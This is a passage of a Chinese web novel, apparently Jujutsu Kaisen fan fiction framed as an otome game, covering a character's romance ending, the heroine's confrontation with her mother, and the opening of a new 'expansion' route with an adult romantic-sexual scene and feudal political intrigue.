今野桃:[好耶,要下雨了,但是要收衣服。] 两人的答案大同小异,只在语气上有微妙的区别。 “那谁答得更好呢?”大家看向了狗卷棘,他毫不犹豫地举起了女朋友所站的方向的手。 “确实呢,今野小姐写的更加口语化一点。”钉崎野蔷薇重重点头表示赞同。 第二轮,狗卷棘的眼睛弯了弯,带了点恶作剧的意味,语速加快: “明太子!腌高菜!腌鱼子!” 这一句来得突然且急促。乙骨忧太因为常年与狗卷出任务,对这类预警性子的话极为敏感,立刻写下:[警告!注意身后!有袭击!] 而今野桃则顿了一下,她从那略显兴奋的语调里,听出了狗卷棘只是模拟场景开玩笑而非真警报,再联系到他跳 脱的性格……于是她写下:[骗你的!吓一跳吧?] “哇!完全不一样的答案!”虎杖悠仁大叫。 乙骨忧太在看见今野桃的答案后,立刻就意识到自己陷入了思维误区之中。他懊恼地拍了拍脑袋,不得不承认自己输了。 三局两胜,今野桃毫无异议地胜出。 “那第三局还玩吗?”钉崎野蔷薇得意洋洋地说道,“我就说嘛,真爱无敌!” 熊猫咬着手帕伤心流泪,它还在垂死挣扎:“不是还有一局吗……总之,不要小看了我们之间友谊的羁绊!” “死鸭子嘴硬。”钉崎野蔷薇轻哼一声,转头对狗卷棘喊道,“狗卷前辈出题吧!” 第三局,虽然不是决定胜负,但依然至关重要的回合! “来点高难度的啊,棘!”五条悟还在撺掇,“不提高难度怎么能分清楚谁平时上课更加认真呢!” “……所以这就是五条老师给我们出超纲题目的理由吗?!” 幽怨的声音被压下去,狗卷棘用力点了点头,然后深吸一口气,以一种极其复杂的、混合了肯定、疑问、惊叹还有一丝无奈的语调,飞快地说出了一个长难句: “木鱼花!鲑鱼子?明太子……腌高菜!金枪鱼蛋黄酱!!” 这一连串高速变调的饭团语炸弹直接把在场所有人都听懵了,宛如一道精神冲击。 “r、rap?!”钉崎野蔷薇目瞪口呆。 “等等等等,”虎杖悠仁比了个暂停的手势,“我要思考一下!” 今野桃的表情变得凝重,笔尖长久地停留在了纸上。 反倒是另一边,乙骨忧太眼睛一亮。 他凭借对狗卷棘的深厚了解和强大的逻辑分析能力,在脑海中理清了思路。 ——过程虽然曲折且有疑问,但结果似乎是好的,最终又发现不对? 他知道了! 两张纸再度被翻转,又是两个不同的答案。 今野桃写着:[你猜你猜对了还是猜错了!没错没错,你猜错了!想不到吧!] 乙骨忧太写着:[你猜错了!哈哈好吧,猜对了一点,恭喜你蒙对啦!] “不是,这也能听懂吗?”钉崎野蔷薇的头顶出现了一个问号,“难道他们两人的身上其实装了什么我们没有的翻译器?” “都说了,是爱!是爱!”熊猫强调道,“总之,请揭开谜底吧!” 狗卷棘的目光在两人身上打了个转,然后慢慢地举起了左手。 ——今野桃胜利了。 乙骨忧太仿佛受到了重大打击,整个人都褪成了灰白色。 “居然……真的输了……”他喃喃自语,声音里带着难以置信的失落。 “呜呜呜,怎么会这样呢……”熊猫也跟着缓缓跪倒在地,毛茸茸的肩膀耷拉着,发出呜呜的哀鸣。伏黑惠微微蹙眉,却什么也没说,只是默默别开了视线。 “芜湖!请客!请客!”虎杖悠仁欢呼道。 五条悟的推了推眼罩,忍不住笑出声来。 “真是的,这种还没开赛就知道结局的游戏,你们也能玩得这么开心。”他的两只手交叉背在脑后,语气里带着几分戏谑,“还是太天真了啊。” 竟然不知道这个世界上,有个东西叫“黑哨”。 “我要吃豪华大餐哦。”他笑嘻嘻地说道,“要吃烤和牛!” “噫!明明上次五条老师还带我们去吃路边站着的牛排!” “因为又不是我掏钱,当然要吃点好的啊。” “好过分!” 隔着热闹的人群,今野桃和狗卷棘对视了一眼。 她低低地笑了起来。 【狗卷棘好感值:100】 【狗卷棘—此时无声胜有声(HE) ——恋人的对视是无人知晓的热吻。】 第207章 [【XX银行】通知您汇款已入账,〇月〇日(星期〇),金额为美金100,000元(USDollars:OneHundredThousandOnly)已汇入您账户,敬请查收。具体明细请通过网上银行或存折进行确认。] 当手机上出现这条短信时,今野桃打开了网上银行,确认了自己现在的余额。 然后她忍不住笑出了声。 她从手机的黑名单里,将几个号码放了出来。没多久,一个电话就打了过来。 温柔的女声自听筒那边传来,带着刻意为之的诱哄。 “小桃,你终于肯接妈妈的电话啦?”女人温言软语地说道,“妈妈真的很想你。” 今野桃一只手撑着额头,一边听着对面女人絮絮叨叨。 真奇怪,以前怎么就没听出来她的语气是如此地虚伪呢? “好了。”她不耐烦地打断了她的长篇大论,“在哪里见面?什么时候?” 对面安静几秒钟,开口道:“小桃,你还是不肯原谅妈妈吗?妈妈真的……” “如果你继续废话下去,我现在就挂掉电话。” 女人陷入了沉默之中,然后很快报出了一个地址和时间。她哽咽道:“妈妈很久没见到你了,小桃,妈妈实在是……” 今野桃将电话挂断。 废话真多。 她一边想着,一边哼着歌打开了衣柜。在来回扒拉几次后,她啧了一声,又把柜门关上。 虽然没穿几次,但衣柜里的衣服她已经不喜欢了。反正时间还早,干脆去逛一逛商场吧,顺便吃点东西垫一垫。见面的地址虽然是在咖啡厅,不过等下说不定她什么都吃不下。 刚刚开门的商场已然是冷气充足,弥漫着甜腻的香水与咖啡混合的香气。今野桃漫步在光洁如镜的地砖上,方才电话里的阴霾被橱窗里璀璨的灯光和琳琅满目的商品迅速驱散。 她走进一家大牌服装店,指尖掠过一排排当季新衣,丝绸的滑腻、雪纺的轻盈、棉麻的柔软,每一种触感都带来细微的愉悦。 她简单试了几件,最后按照自己的喜好,选中了一件剪裁利落的薄荷绿连衣裙。 冰凉的布料贴附在皮肤上,镜中的女孩眼神清亮,身姿挺拔,带着一种近乎锋利的美丽。她嘴角弯起一个满意的弧度,干脆利落地刷卡买下,咔嚓剪了吊牌,直接将旧衣服塞进购物袋,穿着新裙子走了出来。 然后她拐进了一家护肤沙龙。美容师迎上来,笑容温暖却不过分热络。 看在她技术不错的份上,今野桃果断充值了了一张年卡。美容师的笑容越发灿烂,小意殷勤,好话不要钱似的恨不得将她埋起来。 她享受了一场由身到心的“按摩”。 于是当在卡座上坐立难安的母亲终于看见女儿时,出现在她视线里的今野桃完全出乎了她的意料。 ——她毫无被赶出家门的痛苦与憔悴 ,并且恰恰相反,她一看就过得非常滋润。 话被堵在了喉咙里好半天说不出口,今野妈妈扯了扯嘴角,讪讪开口道:“小桃,你离家也这么久了,是不是该……” 今野桃掏出手机,播放了一段音频。 [滚出去!我没有你这个女儿!] [小桃,你太让我们失望了!] [是啊,姐姐,为了家里付出难道不是应该的吗?你这样做真是太自私了!] [以后你不要回来了!] 乱七八糟的嘈杂声音从手机里传出来,把今野妈妈的声音完全盖过。 “喏,我没记错吧,当初我走的时候,你不是说没有我这个女儿吗?”她含笑道,“怎么我走没多久就急着给我打电话?” 还故意发那些纸醉金迷的照片给她,目的到底是什么呢? 今野妈妈张着嘴巴,表情僵硬。 当她发现今野桃对自己的软话毫无反应,甚至眼神里带着毫不掩饰的嘲讽时,她的耐心终于耗尽了。 那层温柔的面具骤然剥落,她的声音尖利起来:“你……你竟然录音!小桃,你真是、真是变得太可怕了!我们是你的家人!当时……当时说的都是气话!你怎么能这么斤斤计较,还录下来?!” 她试图重新占据道德高地,眼神却慌乱地躲闪着。 “是气话还是真话,你们心里清楚。”今野桃平静地回答,“你们试图用爱束缚我,可惜的是,我不吃你们那套。因为从小并没有生活在一起,所以其实我对你们并没有期待,但你们却想要掌控我的人生。现在来找我,是终于发现家里要破产了吗?” 穷奢极侈的生活不是那么好维持的,他们迫不及待地想要将她嫁出去,不过就是为了卖一个好价钱罢了。 “什么掌控,我们是为了你好!看看你在乡下都染上了什么臭毛病,整天就知道在游戏舱里,那些都是假的!是专门骗你这种无知小女孩的!我告诉你,你继续这样下去,封闭自己,沉迷那些虚头巴脑的东西,以后不会有人爱你!一个都没有!你会孤独终老!” 锋利的语言撕开了遮羞布,今野妈妈完全丢弃了贵妇的伪装,诅咒般的话语倾泻而出,带着一种近乎恶毒的期盼,似乎只有证明女儿的悲惨才能印证她当初决定的正确。 然而,今野桃只是静静地看着她,眼神里没有愤怒,没有悲伤,甚至没有波澜,只有一种近乎怜悯的平静。 “但是我得到的爱是真的。”面对已经堪称歇斯底里的母亲,她甚至笑了笑,“我看过的风景,经历过的故事,感受过的悸动、快乐和勇气,每一样都是真实的。” 今野桃有点后悔浪费时间来和一个活在自己世界里的人说话了,有这个功夫,她不如多晒晒太阳,游戏舱呆久了,她的皮肤都变得更白了。 她低头刷着手机,手指有一搭没一搭地往下滑动。 今野妈妈怔怔地望着女儿,某一瞬间,仿佛有细沙正从指缝间急速流走,一种无端的恐慌扼住了她的喉咙——她再也抓不住她了,永远不能了。 “可恶!”忽然,今野桃坐直了身体,眉头紧蹙,脸上掠过一丝毫不掩饰的恼怒,“她怎么去度假了!” 手机屏幕上,赫然是某人刚更新的九宫格照片。碧海蓝天之间,那女孩笑得神采飞扬,一看就把自己养得很好。 今野桃表情狰狞地给她点了个赞,拎起包,握着手机起身就要离开。 “小桃!”今野妈妈狼狈地大喊道,声音几乎撕裂,“你以后、你以后一定会后悔的!你会变成所有人的笑柄!你会一个人孤零零地死去,你会……” “你错了。没听过那句话吗?‘只有贫穷的姑娘才会成为大家的笑柄’。但我不会,因为我会是个富有的老姑娘。”今野桃顿了顿脚步,微微侧过头,肩膀松弛地一耸,语气轻描淡写却又斩钉截铁,“我有很多很多的爱,也有很多很多的钱。” 话音落下,她再没有回头,径直朝着透进阳光的门口走去。 她也要奔赴属于自己的光辉人生了…… “摩西摩西,今野小姐,打扰您了。首先感谢您这段时间来的辛勤付出,您对游戏的热爱与深入理解给我们留下了深刻印象,您的体验反馈对我们至关重要。因此,我们诚挚邀请您参与全新资料片的测试,请问您是否愿意呢?” 今野桃:“……” 她机票都买好了! “薪酬翻倍。” “好的老板,我现在就上线。” 全新资料片《dokidoki绝赞恋爱中~咒术师篇—大奥后宫传》堂堂测试中! 【END】 第208章 浓重的夜色裹着庭院里樱花的香气,从和室的纸窗缝隙里钻进屋内。华服绫罗摩挲时发出窸窣声响,在万籁俱寂的夜里织出令人心痒的密网。 酒盏翻倒在榻榻米上,清冽的酒液蜿蜒成隐秘的溪流。可疑的水声和急促的呼吸纠缠在一起,没有点灯的室内,月光勾勒出两人痴缠的轮廓。 大概是嫌衣服太过碍事,男人粗粝的指节突然扯开早已松散的衣襟,大片胸膛在昏暗中袒露。 在没有用力的时候,肌肉是软中带弹的,抚摸时会陷下去,随呼吸微微起伏。 女子的掌心在那片肌理上反复流连,在他走神时突然发狠掐拧。 “嘶……”汗珠从他额角滚落,沿着疤痕蜿蜒而下。他喉结滚动着咽回喘息,扯出个野性的笑,再度欺身压下。 女人半眯起眼睛,目光没有焦距,已然完全沉浸在了这片好似没有边际的汪洋大海之中。 终于,她放在男人胸口的手掌微微用力,指尖陷入了肌理之中,留下了几道深深的爪痕。 在突然的坠落感中,她的身体猛地绷紧,带着细微的颤抖。 男人观察着她的表情,用柔软的唇瓣蹭着她汗湿的脖颈和锁骨,用更绵长、更温柔的动作为她延续着快乐。 片刻,她长长地舒了一口气。 她抬起手,男人从旁边的矮几上取来了杯子。用蜂蜜兑过的水此刻还有一点点余温,刚好可以舒缓她的疲惫。 女人抬脚抵着男人膝盖,将神色尤带不满足的男人踹开。她托着杯子,斜靠在软垫上将水细细咽下。 男人凑了上来,用灵活的舌尖和她争夺口中的蜜水。 直到她觉得厌烦了,一巴掌将他脸颊拍得微微侧过去。 “主公还真是翻脸不认人啊。”男人啧了一声,舌尖舔过嘴角的疤痕,“就是这样对待您最好用的一把刀吗?” 女人并未回答他的问题,而是开口道:“那些人都解决了?” “啊,您的吩咐,我怎么敢不遵从呢。”似乎看见一点希望,男人又靠近了她,绿色的眸子在幽暗的室内仿佛某种兽类的瞳孔,“众所周知,我可是您最忠心的情人。” 女人不置可否,只是用手摸了摸他的下巴。那里清理得很干净,显然是专门打理过。 “一来就如此谄媚,我还以为交给你的任务失败了。” “因为您很久没来找我了。”男人短促地笑了笑,“我还以为您把我忘记了。” “不会,忘了谁也不会忘了我的甚尔。”女人漫不经心地回道,“东西拿到了吗?” 禅院甚尔有些气结,他在努力调。情,而眼前的女人心里却只有公事。 他郁卒地说道:“拿到了。” 女人总算露出了一个满意的笑容:“很好,我就知道甚尔一定可以做到的。” 她捏了捏他的脸颊,在上面留下了一个敷衍的亲吻。 男人立刻被哄好了。 算了,反正她一直以来不都是这样吗。如果她一心只有情爱之事,如何能走到今日这个位置。 他掏出手帕,小心地为她擦拭着身上的痕迹。 “那么,主公要动手吗?”禅院甚尔随口问道。 他的手指抚摸过白皙肌肤上斑斑点点的痕迹,只觉得喉咙口有些痒痒的。 “也差不多了。”女人稍稍蹙眉,“这一次将羂索那边派来的内 应连根拔起,他们应该能老实一段时间,不过那家伙和两面宿傩……” 禅院甚尔的手忽地顿住。 当今天下三分,由三个不同的势力占据。一个是支持天皇派的征夷大将军今野桃,一个是占据了东国的羂索,还有一个是盘踞在西边的两面宿傩。 天皇派正统出身的今野桃地盘最大,实力最强,振臂一呼,无不响应;以东国称王的羂索靠着“进化”的理念吸引了大量各式各样的咒术师追捧,对天皇造成巨大威胁;而两面宿傩凭借强大的个人实力和魅力招徕了不少狂徒和疯子,他们行事不计后果,只为当下快活。 近来有传闻,羂索想要和两面宿傩联合。 如果是真的,那么天下或许又要重新洗牌。 禅院甚尔抬眸,看见女人合着眼,神色略有些凝重。 话到了嘴边又被咽了回去,他自嘲地笑了笑,开口道:“我知道了。明天……我会去一趟东国,或许要数月才能归来。” 今野桃睁眼望向他,目光意味不明。 “去那里做什么?”她问道,“你不是才刚刚回来吗?” 她勾住他的脖子,把人拽下来,然后舒舒服服地躺在了柔软的肌肉上。 禅院甚尔抱着她,没有说话。 是的,他确实是刚刚才从外面赶回来,只因为听见了那个消息。他以为那不过是谣言,如今看来,都是真的。 淡淡的香味飘入他的鼻间,他低头,把脸埋进她的颈窝处。 他只是一个身份不明的情人,如何能阻拦她成婚。 可是,酸涩的情绪不受控制地侵蚀着他的理智,嫉妒如可怕的虫子啃咬着他的心。 他终究还是沙哑着嗓子开口道:“我听说,你要和五条家联姻?” 今野桃眼皮未动,淡淡回道:“是啊,五条家的‘神子’如今也要元服了,是最合适的正室人选。” 眼看东国和西边要联合,他们自己内部再不团结起来,迟早要被吞掉。而最好的办法,就是联姻。 巧得很,征夷大将军至今还未成亲,身边正室的位置空悬,很难不让人想到是为了某个人。 房间里陷入了良久的沉默。 今野桃看着上下起伏不定的好感值,嘴角衔着一丝笑意。 在剧烈的变化后,它慢慢稳定了下来,最终定格在了85。 “那你们定好时间了吗?”禅院甚尔开口道,声音比平时更加低沉。 “我同他还未见过面呢。”她将手指滑入他的指缝,掌心相贴时感受到他骤然收紧的力道,“还是先见一面吧。” “你倒是体贴。”他嗤了一声。 今野桃闻言挑眉,正要还说些什么,突然天地倒转,整个人被压在了身下。禅院甚尔将她翻过来,华服被掀起,蒙在了她的脸上。 “得让主公记住,”他在她的耳边说道:“您的正室绝不会这样侍奉您。” 什么……? 今野桃感觉到男人的吐息一路往下,湿润的舌尖舔过一寸寸肌肤,留下一道道水痕。 高高在上的“神子”断然不会屈节折腰做出这种事情吧。 禅院甚尔听见她的呼吸骤然变得沉重,一只手抚摸过他的发梢,似有若无地按在了他的后脑勺上。 仿佛得到了无声的鼓励,禅院甚尔屏住了呼吸,越发殷勤地讨好她。 在她的手掌猛然用力时,他握住她的膝盖,偏头在最细嫩的那块肌肤上留下了一个浅浅的齿印。 第二天天光大亮时,室内的旖旎气息还未彻底散去,禅院甚尔从被子里伸出手,旁边已然冷透。 他撇撇嘴,慢吞吞地起身。整理好衣服后,他踏进了那个许久未曾回来的大门。 “甚尔君!”堂弟看见他,非常兴奋地冲了过来,“你回来啦,最近还好吗?” 禅院甚尔上下打量了他一番,意味深长地说道:“是直哉啊,这么久没见面,你也长大了呢。” 禅院直哉明明高兴得那双上翘的桃花眼都眯起来了,嘴上还要矜持地说道:“是吗。” 果然他长高了! 禅院甚尔转动眼珠,目光越过少年肩头,看向朝他走来的家主禅院直毘人。 “是啊,和五条家的那个‘神子’一样大了吧。”